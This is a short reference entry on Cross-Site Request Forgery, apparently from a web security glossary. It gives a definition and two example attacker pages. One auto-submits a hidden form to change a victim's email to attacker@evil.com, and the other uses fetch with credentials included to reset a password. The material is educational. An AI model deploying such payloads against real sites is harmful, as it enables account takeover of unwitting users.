CSRF
MediumCross-Site Request Forgery
Definition
Cross-Site Request Forgery (CSRF) is a vulnerability that lets an attacker trick an authenticated user's browser into sending unwanted requests to a web application. Because the browser automatically includes the session cookies, the application processes the request as if it were legitimate.
Impact
Examples
CSRF to change the email
If the victim visits this page while authenticated on victim.com, their browser will automatically send the session cookies, changing their email to the attacker's.
<!-- Attacker's malicious page -->
<html>
<body>
<form action="https://victim.com/api/settings/email" method="POST" id="csrf-form">
<input type="hidden" name="email" value="attacker@evil.com" />
</form>
<script>document.getElementById('csrf-form').submit();</script>
</body>
</html>CSRF with a JSON request (using fetch)
Some JSON endpoints are vulnerable if they don't validate the Content-Type strictly or don't require a CSRF token. The credentials: include attribute ensures the cookies are sent.
<!-- Bypass when the endpoint accepts Content-Type: text/plain -->
<script>
fetch('https://victim.com/api/change-password', {
method: 'POST',
credentials: 'include',
headers: {'Content-Type': 'text/plain'},
body: JSON.stringify({password: 'hacked123'})
});
</script>